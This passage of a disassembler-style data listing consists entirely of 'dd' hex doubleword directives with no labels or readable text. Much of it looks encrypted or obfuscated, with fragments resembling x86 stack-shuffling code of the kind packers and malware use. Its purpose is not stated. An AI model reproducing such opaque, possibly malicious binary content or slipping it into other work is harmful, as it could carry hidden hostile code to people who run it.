		dd 0E604303Ch, 68E5CE66h, 10BD2028h
		dd 8681743h, 0F169439Ah, 0A26FD25Ah, 19952B9h, 3C79Dh
		dd 696DE400h, 8527A106h, 15F4ED54h, 1CEDAEC1h, 9869B5BAh
		dd 18E9353Ah, 8552B7C4h, 0C1F105F9h, 964213CEh,	3AA87CE1h
		dd 5AF0FFA3h, 137A0F72h, 0EDC1ADCEh, 0FF32AB19h, 0F4DE5AF0h
		dd 0B44CAF7Bh, 6175944Dh, 0DF423DA0h, 0F114C495h, 0C4278CE7h
		dd 2B8EE9F3h, 0C8158357h, 485AF0FEh, 1B7EE390h,	0EF54EC4Fh
		dd 0F0FF5781h, 0F2C3975Ah, 8DF48CEBh, 5023B554h, 0EEEABB8Fh
		dd 0BC20F189h, 0ECEC5ABFh, 1C5AF0FEh, 8354B9B6h, 20BC2154h
		dd 15728B9h, 0F2EB592Dh, 235AF0FEh, 20C128C0h, 0B11FEBF1h
		dd 5AF0FF2Ch, 622386E9h, 914CBA8Eh, 845AF0FFh, 0EE895021h
		dd 0FB39E856h, 488F5AF0h, 265C82Dh, 20EB0919h, 0FEDAB3BDh
		dd 6DFAFFFFh, 7647086Bh, 42B01562h, 5AF19A96h, 21F0F158h
		dd 0DD4BB7h, 155AF19Ah,	0BD8E4FB2h, 83F15619h, 8A823BB1h
		dd 0CF3EE55h, 6D53E601h, 6EA7h,	966AEE00h, 0F199B528h
		dd 1E8C605Ah, 5AF199BFh, 0F890F356h, 693DD09Bh,	0A23A4598h
		dd 0A48160CEh, 69CC5F1Ch, 5C469604h, 99005504h,	0E4F5C648h
		dd 31C92C91h, 0CD73C548h, 35A273B8h, 1D46AA42h,	8D000000h
		dd 0F18FBDD0h, 0B399415Ah, 0C5FFFFFDh, 8F5A83F1h, 58BB5AF1h
		dd 109607C0h, 0DD000000h, 26796h, 75F5C200h, 44E85D06h
		dd 6D6720B8h, 3A3D9A6Bh, 493603D7h, 0A04FBF49h,	50248921h
		dd 4DCB5583h, 10A83DD8h, 1DDE993Fh, 0D6007C49h,	43106374h
		dd 0DDAEB5DEh, 0B11479FCh, 5EF3BC19h, 0EB66BD8Ah, 7C712ADCh
		dd 0AEA210E4h, 5F5F196Ah, 0B02997FCh, 8E550962h, 0CA43BA27h
		dd 0DEB8C874h, 2Ch, 3D996A25h, 0DA72D53Ah, 4B1FB27Dh, 1990D3DDh
		dd 3297FA5Fh, 98E15C4h,	1FC22955h, 0C84B55D8h, 0AB3203B8h
		dd 0ACD034CCh, 17000000h, 34086B6Dh, 99EBF260h,	0C72A5AF1h
		dd 0DDF9CA2Fh, 7464359Ah, 0FC99AFFh, 18BF9064h,	0FD95F85Dh
		dd 9DC4CE3Ch, 0CCC5AF1h, 0BA28E4F9h, 5AF19523h,	0C72C8FF2h
		dd 0E3400164h, 43B18528h, 5F1B371Bh, 2AFBCF32h,	3102C3ACh
		dd 68EAD2A5h, 0B514EB82h, 47AA850h, 0E5F60000h,	0D108D99Ah
		dd 0C314E5A6h, 0BF1EEFB0h, 0A82EFFC0h, 0CCB00ECFh, 0BD7EF1E5h
		dd 0C889E6ECh, 0D99AE5F7h, 0E2A3D008h, 0ECF15F33h, 29550451h
		dd 966AECA5h, 0F199B528h, 1E8C605Ah, 5AF199BFh,	0F890F356h
		dd 7C8AF27h, 14D5A236h,	0D686F40h, 74D9963Ch, 6DC07911h
		dd 0D2A3086Bh, 31D60306h, 368CBA6h, 95693DA0h, 0F199B627h
		dd 0F4E9575Ah, 215AF199h, 0F78FF2BEh, 4C916236h, 733C9931h
		dd 0AC0F6C70h, 0BB7A6AD8h, 0FFD35F19h, 9794C91h, 0CE66C955h
		dd 0CC3A9F02h, 5509790Bh, 621DC42Bh, 5C3004A9h,	0C328478Bh
		dd 8A5AC860h, 0CB59319Ah, 585489F7h, 5EC14F21h,	12DD3AFBh
		dd 0FEDAAB7Fh, 58439A08h, 6FD24F21h, 32A0740Ch,	534C6457h
		dd 2EFFD336h, 390DCEA9h, 99B6A68h, 189AF1FCh, 117F177Ah
		dd 4933FDBEh, 5B77924Ah, 0E94CAF14h, 0AD34115h,	0B4933FEh
		dd 0A74F10A8h, 47h, 9A09D0EEh, 0BE735AF1h, 646E3F13h, 0E1B2730Bh
		dd 0AAC50DF6h, 0A00EE245h, 5AF19A3Dh, 0AD1275D8h, 0F19A9E3Fh
		dd 865BC25Ah, 51255087h, 99CE0F7Dh, 0E4475AF1h,	22BA8B4Ch
		dd 5682F055h, 2D5AF19Ah, 0E0FC1BC6h, 6D19D293h,	884D9A6Fh
		dd 985DA7C3h, 0F172B32Ah, 9CFF625Ah, 0D903D439h, 2F96399Eh
		dd 0FE7963B2h, 618CCF3Dh, 9F25AF1h, 0BD207819h,	0FFFF8CA3h
		dd 8DFBCFFFh, 5AF16750h, 678E4FBDh, 24875AF1h, 0A45DF558h
		dd 3944996Ah, 37A071D4h, 5D3A43Ch, 0B08A4808h, 0A80B393Bh
		dd 11667243h, 0E2FB693Dh, 335AF158h, 58ECF15Fh,	0C6295AF1h
		dd 360ACB63h, 58E9F462h, 0C92C5AF1h, 761BD431h,	521C34A2h
		dd 24F15F19h, 93DD90E7h, 0AD1275DAh, 8C89A3Fh, 0A43DA455h
		dd 0C891C04Dh, 50E8B8h,	0E12F0000h, 0E2AF832Eh,	25183C30h
		dd 895DF5F5h, 1950951Bh, 70D5385Fh, 94DD702h, 0CDA83155h
		dd 343B9768h, 0D20F76CFh, 714216B1h, 0D740C67h,	0B101DD4h
		dd 7448B8C8h, 46FAD0A7h, 4DBB37DBh, 55091D90h, 8C512285h
		dd 91298CF1h, 0CF2Dh, 6B6D7400h, 0FBCFA308h, 0F19A508Dh
		dd 5B18C05Ah, 64C793F6h, 94DBFBCCh, 38E5B2Fh, 5984F237h
		dd 0BC5AF0DDh, 82368C59h, 399F7008h, 3405D93Eh,	96CD19Eh
		dd 3B38A071h, 0D1860C7Ah, 3A075AF0h, 2882590h, 0EBBC54F5h
		dd 0F8C98AEDh, 0EEBF93E0h, 5B288DEAh, 0F341A259h, 0DA72D58Dh
		dd 0BA571875h, 0ED2878E6h, 42A55F18h, 0C66B2481h, 0C0BB21F2h
		dd 86E65428h, 0CF593284h, 0F0C4986Ch, 1E425B82h, 0BF57BA4Fh
		dd 0CE8FE8EEh, 0AE96D9FDh, 1AD271BEh, 0B5761E83h, 0BB000001h
		dd 0C3945520h, 0CD9E5F16h, 0D5A6670Ah, 0DBAC6D08h, 55B374FBh
		dd 234C8A71h, 2E419162h, 33409C6Dh, 3C37A172h, 8AF8CC7Bh
		dd 55044F53h, 6D853EC2h, 74450669h, 954E0F64h, 0AF832EE1h
		dd 19916F41h, 0AF915E5Fh, 0E405175Ah, 29568657h, 0E6F361C6h
		dd 5855096Ah, 409F0F1h,	0A4B8C868h, 0BEh, 28966AEBh, 5AF199B5h
		dd 9465FD60h, 0F9CA2F44h, 0C7359ADDh, 5AF19DCBh, 9F6013C5h
		dd 86D0ACEh, 794DE0ABh,	197A950Bh, 0EE5C305Fh, 550979EFh
		dd 5F2BC326h, 2DDE3BFCh, 0CD3EAC80h, 0C859331Ch, 1852B6FBh
		dd 0EC4FB4BFh, 7D4EAB1Fh, 472461Ah, 4F1F07D9h, 73D89F37h
		dd 49E14410h, 3D32A475h, 442BAB7Ch, 0D3BBC65Ch,	2ED63B1Ah
		dd 0E4h, 63244F8Ch, 6F304792h, 7D3E399Eh, 854631ACh, 8C4D22B4h
		dd 73634A2Eh, 686A3BFCh, 67754607h, 5E7A4B0Ch, 0D5A95819h
		dd 44E7667h, 621B9F55h,	4506696Dh, 309E6474h, 5AF199ADh
		dd 99EBF260h, 0C72A5AF1h, 0FC798FBh, 3DA00368h,	996AC37Ch
		dd 72D53A3Dh, 0A4CF09DAh, 0D6A6E3Fh, 913CEF4Ch,	0A49E4FBDh
		dd 0E2AF5F1Ch, 0E405009Fh, 0E1B2CA00h, 819821AAh, 57BA861Eh
		dd 0BCB721F2h, 0C9AE2AFBh, 53D9F664h, 40A75B12h, 116672A1h
		dd 996C6C3Dh, 6BD0333Eh, 0DBAF7008h, 3FA4D30Ah,	657344DCh
		dd 1DCAD12h, 29901176h,	588556B8h, 0BD55B81Dh, 0C687ECECh
		dd 52BB21F2h, 0F58DF087h, 8851B424h, 7D258AEDh,	1Ch, 801D8A9h
		dd 0DD40A5CAh, 6A29E27Ah, 99B52896h, 815B5AF1h,	622E91F6h
		dd 0FCB567FFh, 9E036E6Dh, 3680BCDh, 68CDAA32h, 0CF343B97h
		dd 3A9FD8FEh, 0A50A6D69h, 96E09D4h, 6FD49F38h, 0D73C3B9Eh
		dd 0E3895350h, 4C381h, 0EB830000h, 241C8704h, 241C895Ch
		dd 247168h, 24148900h, 81E28952h, 4C2h,	4EA8300h, 5C241487h
		dd 68240C89h, 5ED3E9Bh,	8324148Bh, 8B5404C4h, 0C481240Ch
		dd 4, 895B5253h, 8B5B0859h, 8957240Ch, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 2434FF5Ch, 4C4815Ah, 0E9000000h, 0FFFBF5B9h
		dd 7D5C16E2h, 3B1A0516h, 0F35E6F3Fh, 28B80E8Ah,	305ED4Dh
		dd 21E0FFC5h, 0A9057339h, 5A477D55h, 6E7F47CEh,	0BA0D4069h
		dd 0C8391C79h, 4B22F5EFh, 4F30DADAh, 0E9742775h, 0B0h
		dd 0DA8C6660h, 0F04C2F6h, 0C85h, 59853B00h, 0F05E825h
		dd 3684h, 0DD853B00h, 0F05E80Fh, 2A84h,	0AD853B00h, 0F05E810h
		dd 1E84h, 1D853B00h, 0F05E830h,	1284h, 99BD8300h, 105E807h
		dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h
		dd 0FC98578h
		dd 4984h, 0F8C28100h, 8B000000h, 0C8030C72h, 8B1C598Bh
		dd 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h,	17820Fh
		dd 0CF3B0000h, 0F830Fh,	0C3830000h, 850F4A04h, 0FFFFFFDCh
		dd 0DE9h, 6A9D8D00h, 0B805E84Dh, 5, 0C361E3FFh,	0CE8D00Bh
		dd 99000000h, 0A149DD0Ah, 789ECDA7h, 66C9902Eh,	58B953BBh
		dd 31FD9D8Bh, 0C08105E8h, 5AD0h, 79BEDD8Ah, 80000016h
		dd 30FF31C5h, 0D042BB66h, 0EEEF815Fh, 66712E8Bh, 8160D5B9h
		dd 0B6D192F7h, 13E91Bh,	91660000h, 0CBDED948h, 9D9E585Ah
		dd 0BDE20A1Ch, 0FD5BD465h, 18C7811Dh, 331479B7h, 0E812C595h
		dd 0E8388905h, 11h, 94DF88DFh, 0A1129692h, 6236DF1Ah, 0A82CA5E2h
		dd 0A19D8971h, 5905E811h, 8102E883h, 61CB9EC3h,	0E9484828h
		dd 12h,	0B6660DF9h, 5D36C0BAh, 7B539F8Ch, 6C41937Eh, 0EE81412Ch
		dd 1, 15850Fh, 0EA800000h, 39E9F5h, 97C90000h, 0E455832Bh
		dd 0CF938C11h, 0E8B21D4Fh, 0Bh,	7A041FBEh, 6E8D060Fh, 665387EBh
		dd 43ABCA81h, 0FF48E95Ah, 6FA9FFFFh, 278A0218h,	6328507Fh
		dd 1CCE2B34h, 8D59D06Dh, 0ED505B8Dh, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 9D89553Ah
		dd 5E83001h, 0AE9h, 4B634D00h, 0DFD878D8h, 89EA2164h, 0E8159D8Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 4FC513F8h, 0F9F24CB3h, 70585C7h,	580C05E8h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 491ECAC3h, 0CEA5746Ch, 0BD230336h, 5E81979h
		dd 0A6185C7h, 5E8h, 9D8B0000h, 5E814BDh, 10D9B5FFh, 0D78A05E8h
		dd 81595FFh, 6A05E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 1CF9EAC3h, 235BF286h, 0D1BF66E0h
		dd 0FF006A53h, 0E820F995h, 0EBC08B05h, 0B7FC2A4Bh, 916AF8B8h
		dd 1678B684h, 0B005A40Ah, 37003B95h, 0BF977D0Fh, 0FC872E79h
		dd 1CC02062h, 0DF5CD8DFh, 0D4929218h, 0B8D7E19Eh, 797CD518h
		dd 1CCFCABDh, 0B8B18A9Ch, 1591DD22h, 82DBF451h,	73CC1849h
		dd 84678A42h, 0F6F5E6BCh, 10E8h, 41DC9000h, 0D2EAB2E7h
		dd 0C8E9D4E3h, 75457B50h, 159589C2h, 5905E811h,	12E9h
		dd 0B79B4F00h, 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 8113D8BCh
		dd 6629C1h, 6D08000h, 0BEh, 5E95300h, 0FB000000h, 0FC21FE3Bh
		dd 0E34FF5Fh, 1FADBD89h, 8B5B05E8h, 0F9EB81D6h,	8B7B5A7Ch
		dd 0E8218185h, 0E6C38105h, 8927A862h, 0E80CB1B5h, 0A8C38105h
		dd 53082483h, 0F1D08166h, 31048FF3h, 0BD89E78Ah, 5E81161h
		dd 0E4BBEE81h, 0B8667ABFh, 0C6810E79h, 7ABFE4B7h, 0D7EEC081h
		dd 0FE817A24h, 0FFFF9A78h, 0FFA3850Fh, 60EBFFFFh, 18h dup(0)
		dd 0AF1E9h, 0AE5E900h, 0D6680000h, 0E905ED58h, 0FFFB2CD6h
		dd 0ED5A5768h, 2CCCE905h, 0AD68FFFBh, 0E905ED5Ah, 0FFFB2CC2h
		dd 9D3EA6ABh, 21C22A2Bh, 0A647B7AFh, 2DCE3234h,	0AE4FB7BBh
		dd 8A7E2FEFh, 8FF7112h,	8681F394h, 107791Ah, 0AA98FC9Dh
		dd 0B5895B0Fh, 9E894BA2h, 8A6147CCh, 0DBC146B8h, 7EF94C3Ah
		dd 0A2E4465Eh, 0BF2F2799h, 8579EF61h, 0FB6DC0AEh, 0F35DAB20h
		dd 0DFCD48BAh, 0A8140F81h, 0F4E85FD1h, 3FA7AB1Dh, 676BDF51h
		dd 0C198FEEEh, 0B426FD5Bh, 0FF7148BCh, 0D4C29905h, 8F6EE62h
		dd 0C8A6B96Dh, 0DD3BA19Ch, 2C03EB6Bh, 7A51BBBAh, 22285B9Ah
		dd 0D4346BBEh, 0A3DD2664h, 0F3B44F3Dh, 0A396E045h, 5FC53931h
		dd 9606FF71h, 0EA5C4A38h, 11FF7868h, 106ED4ABh,	9435A79Eh
		dd 5D4B6EB4h, 9377FD6Fh, 65EA9A35h, 64CAA2B5h, 0B1151B8Dh
		dd 46CC2510h, 7C677762h, 0DFB1A5Eh, 5A31959Bh, 9DAB96F4h
		dd 0FB0260B2h, 2DC60A81h, 0DB000000h, 0D8731A5Eh, 9CC83824h
		dd 5D48AE14h, 3801B550h, 83E99CC8h, 0DEFD5098h,	8068AEEBh
		dd 5E493795h, 786349CCh, 368A705Bh, 9F000000h, 0DFB1A5Eh
		dd 0FA93AEBAh, 0BE1C4E61h, 1B550D3h, 0EE9CC838h, 65509D88h
		dd 786349CCh, 13C76250h, 599CC838h, 0B61CF3DFh,	0B16500EEh
		dd 999CC837h, 8C6FCD33h, 0F81F5EA1h, 2C90980Ah,	0B645E0CEh
		dd 7E96E01Eh, 0A6B7080Ch, 127DEADDh, 75DBB218h,	3F9D0103h
		dd 35231177h, 0B041E69Ah, 0A68CEA2h, 0BC574533h, 0A2B04208h
		dd 912C8AF0h, 0A2B041D9h, 0B1F988E0h, 0F6A0163h, 19E27h
		dd 185E3C00h, 0E8740FFDh, 0B09CC837h, 0B01734Ah, 3137A997h
		dd 0E0CE6FCDh, 0E17CF86Eh, 9CC8382Dh, 6351B71Dh, 0C83814C8h
		dd 409E049Ch, 0C7625055h, 9CC83813h, 2BF3DF59h,	0EB51BDB9h
		dd 0B1151B8Dh, 64DE50C6h, 2B2BFF8Bh, 51B7F75Eh,	50311CF3h
		dd 157369DEh, 0E1CCF135h, 5D9CFD50h, 103475ECh,	0B12311B2h
		dd 0FEE947BBh, 81FB0260h, 3EC60Ah, 50DB0000h, 14726ADEh
		dd 0E2CDF034h, 3801B550h, 0D5C39CC8h, 0C838863Ah, 0AA086E9Ch
		dd 50917CE2h, 8478F062h, 49CC3B26h, 0F037563h, 5B4E3997h
		dd 54FD5070h, 8914640Ch, 3F5F1371h, 74000000h, 0DFB1A5Eh
		dd 0E296311Fh, 0D29CC837h, 381DD16Ch, 0ED639CC8h, 0F4BC22F9h
		dd 37B76B06h, 399F9CC8h, 508A75D3h, 3813C762h, 9D039CC8h
		dd 2B6513Fh, 0F79CC838h, 6550A691h, 786349CCh, 185E705Bh
		dd 0EC740FFDh, 9C9CC837h, 52D64836h, 8CF2EA5Eh,	6FE5572Eh
		dd 0CCEFDA7Bh, 67776246h, 0FB1A5E7Ch, 50B29D10h, 98F408FDh
		dd 0EC4A7C17h, 82CBB00Eh, 0B6BC0F0Ah, 79FE0649h, 2D28B10Fh
		dd 3D000000h, 10FB1A5Eh, 3801B550h, 83E99CC8h, 0CC655098h
		dd 87756349h, 0C83838ECh, 67BA209Ch, 37B7E42Bh,	1F0A68FFh
		dd 3E8A705Bh, 9F000000h, 0DFB1A5Eh, 9C560CBAh, 0D937ED3Ah
		dd 0C76250EEh, 9CC83813h, 0C67A1503h, 0AE9CC837h, 9684E248h
		dd 0C83847FBh, 0E3CE349Ch, 49CC6550h, 6D5B7863h, 3830E47Fh
		dd 0F66E9CC8h, 7AD83E06h, 0B08A8Fh, 509F0000h, 3813C762h
		dd 9D039CC8h, 63C1252Bh, 2A183D83h, 0C838038Fh,	966DD39Ch
		dd 19BA2E24h, 5646CC2Eh, 2E9BEEDEh, 63317A11h, 0A618066Ch
		dd 0F5E03EAEh, 1A5E7C67h, 0B29D10FBh, 81FB0260h, 26C60Ah
		dd 5EDB0000h, 5010FB1Ah, 0C83801B5h, 0D551C39Ch, 5DC38BE9h
		dd 69DE5072h, 3C271573h, 786349CCh, 478A705Bh, 9F000000h
		dd 13C76250h, 39CC838h,	37C67A15h, 48AE9CC8h, 60A484E2h
		dd 0B550523Dh, 9CC83801h, 0E8D451C3h, 0D4882311h, 0C49CC837h
		dd 6F0AF85Eh, 9CC837BBh, 24E745ABh, 6550D3BEh, 786349CCh
		dd 7AFB6D5Bh, 0B81E8E86h, 46CC6F5Ah, 1E198B62h,	0A99F11B2h
		dd 0BE594735h, 9CC8380Ah, 5F3694FAh, 0C8380AC4h, 0E39EF69Ch
		dd 28C93D33h, 0C540B0B6h, 349A00D7h, 261C6F5Dh,	0EBD357ADh
		dd 0B5D6B898h, 0BA880757h, 71F71F62h, 0CD0CEC8Dh, 8E1DB8A6h
		dd 6C96E050h, 0EE412F06h, 8EF680BAh, 6A1FF00h, 0A2B1354Eh
		dd 542B9194h, 0A0776DE2h, 11057CD4h, 9142A814h,	14624839h
		dd 0D80F6AF4h, 20h, 6246CCEDh, 383CF08Bh, 0D0289CC8h, 0EFEF65B1h
		dd 48AE8579h, 5341E2h, 84EFF9E1h, 0B09BF987h, 8B6246CCh
		dd 57456CABh, 0DFC64FBCh, 40E14796h, 0CFA2160h,	0CD6FE271h
		dd 853D909Ch, 8AE815D4h, 3DD8AF15h, 9CCD7B85h, 5D4D348Ch
		dd 9873A0Fh, 29D3h, 185EE800h, 1F8579F1h, 0BA554331h, 9CC83806h
		dd 8F2A88EEh, 9CC8380Bh, 0F56755BBh, 3E2C8A7Eh,	0C36448CCh
		dd 170Fh, 185E2400h, 0EC740FFDh, 9C9CC837h, 5ED64836h
		dd 6DDFCD6Eh, 0BEA907EBh, 1678Ah, 1D5E9F00h, 7C670FFAh
		dd 0DE5646CCh, 157B61E2h, 8772D83Eh, 755CAF9Dh,	3E314321h
		dd 7256DC4Eh, 0ECD7359Bh, 0E527FD50h, 13FC5A77h, 6379D7B5h
		dd 503D0A82h, 52000000h, 0CFA1D5Eh, 37CF831Eh, 0C9B79CC8h
		dd 0C8387A2Eh, 9E046A9Ch, 0B5505540h, 9CC83801h, 509883E9h
		dd 0A07765DEh, 3EEDC3Ah, 507748CCh, 4AA760EBh, 0FCE068DAh
		dd 6E59BF25h, 75FB6D5Bh, 6654BA91h, 0C83817CBh,	3B99FF9Ch
		dd 4F8A50h, 5E9F0000h, 9A0CFA1Dh, 5C10AB99h, 4C9CC838h
		dd 372280E6h, 7567DE50h, 0C93B2917h, 0EE0A5D41h, 0EEABFA0Ch
		dd 35E984E2h, 2A9CC8C7h, 0E264D6C4h, 63C127FEh,	0F0625078h
		dd 4BB18874h, 14725ED9h, 6448CC29h, 0C7625079h,	9CC83813h
		dd 5C3F9D03h, 6246CC71h, 5E7C6777h, 24D8731Ah, 149CC838h
		dd 4D725BAEh, 0CC1CB13Eh, 0B29D7B66h, 7666DE50h, 0FBDC3A18h
		dd 36A00A81h, 0B5000000h, 10FB1A5Eh, 13C76250h,	39CC838h
		dd 0B6513F9Dh, 9CC83802h, 0E0479FF2h, 0D079B7CBh, 65507F6Ah
		dd 786349CCh, 559CFD50h, 8C1BF1ECh, 8A604B2Eh, 23h, 0FB1A5E9Fh
		dd 0F0625010h, 8B268478h, 9CC837D7h, 50735EC4h,	67864DEh
		dd 513F9D0Fh, 6349CC66h, 0CC705B78h, 0F38E654Bh, 9CC8383Ch
		dd 5CBAC71Fh, 6954F5DBh, 8E654BCCh, 0DEB51B1Ch,	4CCAB70Fh
		dd 735FD9CBh, 2FD0369Ch, 0C80E8A94h, 0C0AE9C9Ch, 0C8417125h
		dd 95F3599Ch, 81FC6AB7h, 0DD55C709h, 0A6A012E9h, 97FD633Ah
		dd 0FE60B039h, 0A3C5FFFFh, 9CC837EBh, 0C837D008h, 3834ED9Ch
		dd 974F9CC8h, 0B49CC837h, 9CC837FCh, 236073C6h,	0E59CF030h
		dd 0C848964Ah, 0B2187E9Ch, 4901B954h, 9AD95CC8h, 25978573h
		dd 0C661BF23h, 56DD3511h, 279F9305h, 0AD84EA50h, 79678ECDh
		dd 0CB01CBDEh, 8402555Ch, 823F14A8h, 8EF4E85Eh,	0B8026830h
		dd 0B1D26DA7h, 2C2ADEB5h, 0A2000003h, 229435AFh, 0A618B923h
		dd 2B9D3EAEh, 0B224C529h, 0E6A546BEh, 9FD7536h,	8B71F668h
		dd 11FF78EAh, 9408FE70h, 6A18FF3h, 0A2B59052h, 0CC958042h
		dd 9D8B6246h, 63C1252Bh, 0CA304483h, 0C4282B6Eh, 833487EDh
		dd 0AA98FE3Fh, 73D13F38h, 0E2D9EA85h, 2A7D96DFh, 959B7B4Dh
		dd 0CB6CD2B7h, 0B5E27830h, 0EA1150A2h, 709C61FCh, 52C49CCDh
		dd 363CFED1h, 3E5F0354h, 9B4FEAD8h, 8B9CC928h, 99FFC725h
		dd 0CF3339ABh, 54CE402Eh, 3D2B9168h, 0C928EEA2h, 1270D69Ch
		dd 0BA49AAA0h, 952AEA9Fh, 9D0FFD63h, 0C32F2999h, 492086ECh
		dd 13AE85E3h, 9CC88763h, 45B5BB2Dh, 9F76DCC0h, 0BCFBDB39h
		dd 3135A795h, 3290F6CDh, 1540A944h, 3A2896E0h, 0B555EB9Fh
		dd 1775DBA2h, 89FBE94Fh, 0D4C2208Ch, 57F8EC62h
		dd 0F96F6FE5h, 5000B205h, 79384490h, 604E3C13h,	0B54C11C5h
		dd 8438D3A2h, 74A2B54Ch, 82E0460Eh, 373063A2h, 877563C9h
		dd 6088D034h, 92FB1D95h, 0CFB80BCCh, 49E442ADh,	9CCD56DCh
		dd 0FDDDB41Ah, 0BBA997BEh, 0B5F0C149h, 9453FB99h, 0A90FE64Ch
		dd 76EFB04Bh, 399F96E0h, 6F53D94Bh, 0F2D65CCEh,	0BBBB2D1Bh
		dd 0A25AF553h, 7AA2B5FEh, 8B26143Bh, 9CCDC17Ah,	1FD36E5Ch
		dd 79CC8E2h, 6F4B21B4h,	8AF0938Fh, 2E6D4D24h, 7B7E1907h
		dd 4B96E100h, 76D51D9h,	0B8FCA2BDh, 39EDC4F7h, 1ABh, 15B62E23h
		dd 993AA2A3h, 1EBF2F27h, 0A546AAACh, 26C73F33h,	72F6B767h
		dd 0F077E98Ah, 7EF96B0Ch, 897FF192h, 22107415h,	0B591D387h
		dd 1601C3A2h, 0AF81F5Eh, 0DFC65E6Fh, 0D3AA1096h, 8B81B4F3h
		dd 28C3B117h, 9CCD8295h, 7895DF45h, 0A6F1D589h,	1551BCFh
		dd 0F0790000h, 7CF96B0Ch, 0F97DEF90h, 27415h, 8189FB9Ch
		dd 0E1BD7C1Dh, 3FE0C44Ch, 0C16246CDh, 47E8D44Fh, 0CA6B5FD5h
		dd 29DD7866h, 11A2B592h, 1F5E644Fh, 0C91C0AF8h,	0CE0CD844h
		dd 51D94BC6h, 0B740F6Dh, 0D596E045h, 9BF9ED63h,	2C7F6DD3h
		dd 0A7B80568h, 0A57CDAB5h, 0EE413D33h, 0BAA9A8E7h, 883CD7A8h
		dd 0C6A2B58Bh, 1D835A42h, 0E889EF55h, 7B1FF076h, 3FC197E4h
		dd 38AA98FEh, 94FAD13Fh, 407F5F36h, 0CB902B19h,	7B9CCCF3h
		dd 3027415h, 0B70AF899h, 43D9B649h, 887CF4C2h, 0D252C422h
		dd 247765DEh, 0ACC4D954h, 0D273D95Eh, 59FAE660h, 0DA7B63E7h
		dd 0EFCE068h, 0FAD18520h, 53B99CC8h, 6DE254F5h,	76E8D677h
		dd 35E984F0h, 259CC8FBh, 89FB59BFh, 0F81228Eh, 1604A519h
		dd 396E19C3h, 4EACF577h, 0EC8457DCh, 455A2C98h,	0B4AB99CAh
		dd 0CE08A561h, 9C026854h, 71C95BAEh, 3785EF99h,	0A2985D08h
		dd 779DF7Dh, 62C89F0Fh,	44836304h, 7E1FF630h, 5BC19CBCh
		dd 0E60DD26Dh, 0D33996DFh, 989C0EFCh, 6BEB5D34h, 4DBF1D83h
		dd 6F5FD7C7h, 0BC202698h, 0C6197FE5h, 0EBAFA9E1h, 0C0AE14DFh
		dd 55DAD64Eh, 0AAB096Fh, 0A56h,	72F66800h, 0EF4DB38Ah
		dd 0CC8F7A04h, 16885F45h, 63D5AC10h, 0B325FCE0h, 0FF7148BCh
		dd 4ABC930Bh, 9507DEC6h, 0E6582F93h, 35A77E6Eh,	73F5CC30h
		dd 81E28952h, 4C2h, 4EA8300h, 8B241487h, 0EC812424h, 4
		dd 53241C89h, 0C381E389h, 4, 8704EB83h,	895C241Ch, 0BA52242Ch
		dd 5ED51DFh, 148BD389h,	4C48324h, 242C8B54h, 6804C483h
		dd 0C1h, 8F241C89h, 2C8B0845h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 50241C8Bh, 405E089h, 5000000h,	4, 5C240487h
		dd 0FB21FDE9h, 0B8EBC4FFh, 5ED5C27h, 0C38BC503h, 12DE9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 1D6A4CABh, 0BB07913Fh, 0FE9DBh, 37E80000h
		dd 4B3C98E7h, 67209FE3h, 0E45AFFFAh, 0EE9ACh, 31870000h
		dd 0EC879EC2h, 0DE26BAC4h, 0D27E58BAh, 5D47B58Dh, 666005EDh
		dd 574FE781h, 0C227E081h, 8D6112AAh, 0EB4B6E85h, 3870F05h
		dd 60000000h, 0F86061F9h, 0FD0FF61h, 180h, 0C3F8F900h
		dd 0B3B0BE60h, 9E87000h, 7C000000h, 47D36C2Eh, 0B4E5E222h
		dd 6158F98Bh, 60D98C66h, 0C5F4B857h, 615841F8h,	0F04C1F6h
		dd 4684h, 8840F00h, 0F000000h, 282h, 8B616000h,	32CB8BFBh
		dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h
		dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh,	0FA75490Ah
		dd 1B8h, 8B09EB00h, 0B8E4EB00h,	0
		dd 0B70F60CFh, 8B0FC7h,	61000000h, 0D6BF0F60h, 8E9h, 52FAF000h
		dd 0C1A5CA5h, 6A6100h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 85C79FC3h, 5ED5D82h, 1013Fh, 5EED8D8Dh
		dd 6A05EDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 240901C3h, 0E5075C3h, 0C78B662Dh,	159D8D89h
		dd 11E905E8h, 1C000000h, 312F67FBh, 75A799FAh, 5C59182Ch
		dd 0DA8AB78Eh, 70585C7h, 594005E8h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0BE97E6C3h
		dd 0D68F330Eh, 8166EC5Dh, 0E9194AEEh, 0Bh, 3A49245Fh, 57A4CCBBh
		dd 0C7302DB7h, 0E80A6185h, 5, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 969CE869h
		dd 0FFB8B7B4h, 0E821D9B5h, 4D958905h, 0FF05E807h, 0E8081595h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 9FAC0999h, 7E9B3h, 84BC0000h, 1073FA73h
		dd 0C19D89D5h, 6A05E80Bh, 0F995FF00h, 8B05E820h, 0AE3BEBC0h
		dd 0B558576Fh, 9D269BC0h, 0D41F8E14h, 142F24B5h, 0BF8BF90h
		dd 0F5F955B6h, 0E92B351Fh, 60C89915h, 0F00BA291h, 799FF202h
		dd 1609D34Eh, 0E4812029h, 76E3D48Dh, 884CB1F6h,	3CE9CD22h
		dd 1, 4Eh dup(0)
